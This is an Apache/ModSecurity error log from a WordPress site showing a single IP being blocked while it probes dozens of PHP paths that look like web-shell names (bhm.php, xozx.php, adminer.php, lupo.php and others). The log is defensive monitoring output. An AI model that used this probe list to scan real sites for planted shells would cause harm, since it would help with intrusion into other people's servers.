[Sun Apr 19 19:07:23.319102 2026] [:error] [pid 15764:tid 15850] [client 68.221.129.115:32915] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-bda.php"] [unique_id "aeS3a2LL_sqdSHoVp-TdZAAAAlc"]
[Sun Apr 19 19:07:24.009889 2026] [:error] [pid 15764:tid 15832] [client 68.221.129.115:33898] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhm.php"] [unique_id "aeS3bGLL_sqdSHoVp-TdZgAAAkY"]
[Sun Apr 19 19:07:24.704287 2026] [:error] [pid 15763:tid 15814] [client 68.221.129.115:33862] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhm.php"] [unique_id "aeS3bLMXv1Y1THOoxaDTzQAAAhI"]
[Sun Apr 19 19:07:25.525091 2026] [:error] [pid 47772:tid 47806] [client 68.221.129.115:37686] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhm.php"] [unique_id "aeS3bYc0L16cb4smAz-QjwAAABE"]
[Sun Apr 19 19:07:26.401192 2026] [:error] [pid 15764:tid 15839] [client 68.221.129.115:64710] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhm.php"] [unique_id "aeS3bmLL_sqdSHoVp-TdbwAAAk0"]
[Sun Apr 19 19:07:27.893583 2026] [:error] [pid 15764:tid 15848] [client 68.221.129.115:32911] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeS3b2LL_sqdSHoVp-TdcgAAAlY"]
[Sun Apr 19 19:07:28.748436 2026] [:error] [pid 15760:tid 15787] [client 68.221.129.115:3727] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeS3cPSdD_XHQMJ_ISvj9gAAAdM"]
[Sun Apr 19 19:07:29.563512 2026] [:error] [pid 15760:tid 15780] [client 68.221.129.115:44227] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeS3cfSdD_XHQMJ_ISvj-QAAAcw"]
[Sun Apr 19 19:07:30.554823 2026] [:error] [pid 47886:tid 47906] [client 68.221.129.115:44246] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeS3ckSe8yiyuPrD7yNjkAAAANI"]
[Sun Apr 19 19:07:31.370135 2026] [:error] [pid 15763:tid 15810] [client 68.221.129.115:64749] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-Blogs.php"] [unique_id "aeS3c7MXv1Y1THOoxaDT7wAAAg4"]
[Sun Apr 19 19:07:32.040173 2026] [:error] [pid 15763:tid 15799] [client 68.221.129.115:37642] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-Blogs.php"] [unique_id "aeS3dLMXv1Y1THOoxaDT8AAAAgM"]
[Sun Apr 19 19:07:33.036726 2026] [:error] [pid 47775:tid 47855] [client 68.221.129.115:34540] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-Blogs.php"] [unique_id "aeS3dbmztjlk9tsmoez-pQAAAIw"]
[Sun Apr 19 19:07:34.349977 2026] [:error] [pid 47773:tid 47822] [client 68.221.129.115:64745] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-Blogs.php"] [unique_id "aeS3duiBHdnCJDuPq9AmRwAAAEY"]
[Sun Apr 19 19:07:35.211994 2026] [:error] [pid 15764:tid 15831] [client 68.221.129.115:64745] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "aeS3d2LL_sqdSHoVp-TdfQAAAkU"]
[Sun Apr 19 19:07:36.021854 2026] [:error] [pid 15765:tid 15866] [client 68.221.129.115:32919] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "aeS3ePRqinw-W5EwQ77pkAAAAo0"]
[Sun Apr 19 19:07:36.583886 2026] [:error] [pid 15765:tid 15867] [client 68.221.129.115:3735] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "aeS3ePRqinw-W5EwQ77pkgAAAo4"]
[Sun Apr 19 19:07:37.589071 2026] [:error] [pid 15763:tid 15809] [client 68.221.129.115:44281] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "aeS3ebMXv1Y1THOoxaDT-QAAAg0"]
[Sun Apr 19 19:07:38.773499 2026] [:error] [pid 15760:tid 15774] [client 68.221.129.115:3712] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ref.php"] [unique_id "aeS3evSdD_XHQMJ_ISvkFAAAAcY"]
[Sun Apr 19 19:07:39.531799 2026] [:error] [pid 15760:tid 15792] [client 68.221.129.115:32917] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ref.php"] [unique_id "aeS3e_SdD_XHQMJ_ISvkFgAAAdg"]
[Sun Apr 19 19:07:40.702910 2026] [:error] [pid 15760:tid 15783] [client 68.221.129.115:64762] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ref.php"] [unique_id "aeS3fPSdD_XHQMJ_ISvkHQAAAc8"]
[Sun Apr 19 19:07:42.043608 2026] [:error] [pid 47886:tid 47907] [client 68.221.129.115:32929] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ref.php"] [unique_id "aeS3fkSe8yiyuPrD7yNjlQAAANM"]
[Sun Apr 19 19:07:43.015201 2026] [:error] [pid 15760:tid 15780] [client 68.221.129.115:32937] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "aeS3f_SdD_XHQMJ_ISvkJwAAAcw"]
[Sun Apr 19 19:07:44.035610 2026] [:error] [pid 47775:tid 47863] [client 68.221.129.115:3743] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "aeS3gLmztjlk9tsmoez-tAAAAJQ"]
[Sun Apr 19 19:07:45.321411 2026] [:error] [pid 15764:tid 15830] [client 68.221.129.115:37647] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "aeS3gWLL_sqdSHoVp-TdjQAAAkQ"]
[Sun Apr 19 19:07:46.956325 2026] [:error] [pid 47773:tid 47829] [client 68.221.129.115:33856] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "aeS3guiBHdnCJDuPq9AmVwAAAE0"]
[Sun Apr 19 19:07:48.211860 2026] [:error] [pid 15693:tid 15701] [client 68.221.129.115:44228] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aeS3hMNMD-ccazQlTslNLQAAAUU"]
[Sun Apr 19 19:07:49.183662 2026] [:error] [pid 15764:tid 15835] [client 68.221.129.115:37688] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aeS3hWLL_sqdSHoVp-TdqAAAAkk"]
[Sun Apr 19 19:07:50.245786 2026] [:error] [pid 47772:tid 47791] [client 68.221.129.115:4038] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aeS3hoc0L16cb4smAz-QsgAAAAI"]
[Sun Apr 19 19:07:51.120933 2026] [:error] [pid 15763:tid 15806] [client 68.221.129.115:33892] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aeS3h7MXv1Y1THOoxaDUFAAAAgo"]
[Sun Apr 19 19:07:52.691791 2026] [:error] [pid 15763:tid 15803] [client 68.221.129.115:64759] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ktfow.php"] [unique_id "aeS3iLMXv1Y1THOoxaDUFQAAAgc"]
[Sun Apr 19 19:07:55.576359 2026] [:error] [pid 15693:tid 15700] [client 68.221.129.115:45354] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ktfow.php"] [unique_id "aeS3i8NMD-ccazQlTslNMgAAAUQ"]
[Sun Apr 19 19:07:56.343192 2026] [:error] [pid 15764:tid 15833] [client 68.221.129.115:4049] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ktfow.php"] [unique_id "aeS3jGLL_sqdSHoVp-TdtgAAAkc"]
[Sun Apr 19 19:07:57.686102 2026] [:error] [pid 15764:tid 15843] [client 68.221.129.115:32910] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ktfow.php"] [unique_id "aeS3jWLL_sqdSHoVp-TduQAAAlE"]
[Sun Apr 19 19:07:58.923278 2026] [:error] [pid 15760:tid 15790] [client 68.221.129.115:33857] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeS3jvSdD_XHQMJ_ISvkWQAAAdY"]
[Sun Apr 19 19:07:59.858686 2026] [:error] [pid 15760:tid 15783] [client 68.221.129.115:4057] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeS3j_SdD_XHQMJ_ISvkYgAAAc8"]
[Sun Apr 19 19:08:00.479639 2026] [:error] [pid 15694:tid 15748] [client 68.221.129.115:32902] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeS3kLimB-jol1fwqAr-tQAAAZY"]
[Sun Apr 19 19:08:01.401418 2026] [:error] [pid 15763:tid 15797] [client 68.221.129.115:3722] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeS3kbMXv1Y1THOoxaDUIAAAAgE"]
[Sun Apr 19 19:08:02.669486 2026] [:error] [pid 15764:tid 15850] [client 68.221.129.115:64757] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Xx.php"] [unique_id "aeS3kmLL_sqdSHoVp-TdzgAAAlc"]
[Sun Apr 19 19:08:03.621519 2026] [:error] [pid 15693:tid 15710] [client 68.221.129.115:45323] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Xx.php"] [unique_id "aeS3k8NMD-ccazQlTslNMwAAAU4"]
[Sun Apr 19 19:08:22.134991 2026] [autoindex:error] [pid 15764:tid 15836] [client 68.221.129.115:3771] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 19:08:56.505590 2026] [:error] [pid 15760:tid 15791] [client 68.221.129.115:63528] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeS3yPSdD_XHQMJ_ISvlAwAAAdc"]
[Sun Apr 19 19:08:58.214601 2026] [:error] [pid 15760:tid 15783] [client 68.221.129.115:44261] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeS3yvSdD_XHQMJ_ISvlBAAAAc8"]
[Sun Apr 19 19:08:58.984265 2026] [:error] [pid 15693:tid 15696] [client 68.221.129.115:33877] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeS3ysNMD-ccazQlTslNUAAAAUA"]
[Sun Apr 19 19:09:00.599739 2026] [:error] [pid 47773:tid 47838] [client 68.221.129.115:64747] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeS3zOiBHdnCJDuPq9AmpwAAAFY"]
[Sun Apr 19 19:09:01.268755 2026] [:error] [pid 47772:tid 47806] [client 68.221.129.115:3744] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeS3zYc0L16cb4smAz-RDQAAABE"]
[Sun Apr 19 19:09:02.165769 2026] [:error] [pid 47775:tid 47859] [client 68.221.129.115:63550] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeS3zrmztjlk9tsmoez--AAAAJA"]
[Sun Apr 19 19:09:03.097013 2026] [:error] [pid 47772:tid 47812] [client 68.221.129.115:3813] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeS3z4c0L16cb4smAz-RFQAAABc"]
[Sun Apr 19 19:09:04.116915 2026] [:error] [pid 15764:tid 15838] [client 68.221.129.115:3836] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeS30GLL_sqdSHoVp-TeigAAAkw"]
[Sun Apr 19 19:09:05.572611 2026] [:error] [pid 15760:tid 15781] [client 68.221.129.115:50041] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeS30fSdD_XHQMJ_ISvlCAAAAc0"]
[Sun Apr 19 19:09:06.228781 2026] [:error] [pid 15694:tid 15746] [client 68.221.129.115:32135] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeS30rimB-jol1fwqAr-1gAAAZQ"]
[Sun Apr 19 19:09:06.875958 2026] [:error] [pid 47772:tid 47789] [client 68.221.129.115:41140] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeS30oc0L16cb4smAz-RGQAAAAA"]
[Sun Apr 19 19:09:07.798186 2026] [:error] [pid 15760:tid 15785] [client 68.221.129.115:3824] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeS30_SdD_XHQMJ_ISvlDQAAAdE"]
[Sun Apr 19 19:09:08.831511 2026] [:error] [pid 15693:tid 15710] [client 68.221.129.115:3809] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeS31MNMD-ccazQlTslNUgAAAU4"]
[Sun Apr 19 19:09:10.265450 2026] [:error] [pid 15763:tid 15809] [client 68.221.129.115:43731] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeS31rMXv1Y1THOoxaDUdwAAAg0"]
[Sun Apr 19 19:09:11.849617 2026] [:error] [pid 15764:tid 15840] [client 68.221.129.115:3440] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeS312LL_sqdSHoVp-TemwAAAk4"]
[Sun Apr 19 19:09:13.457875 2026] [:error] [pid 15765:tid 15860] [client 68.221.129.115:56839] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeS32fRqinw-W5EwQ77p3AAAAoc"]
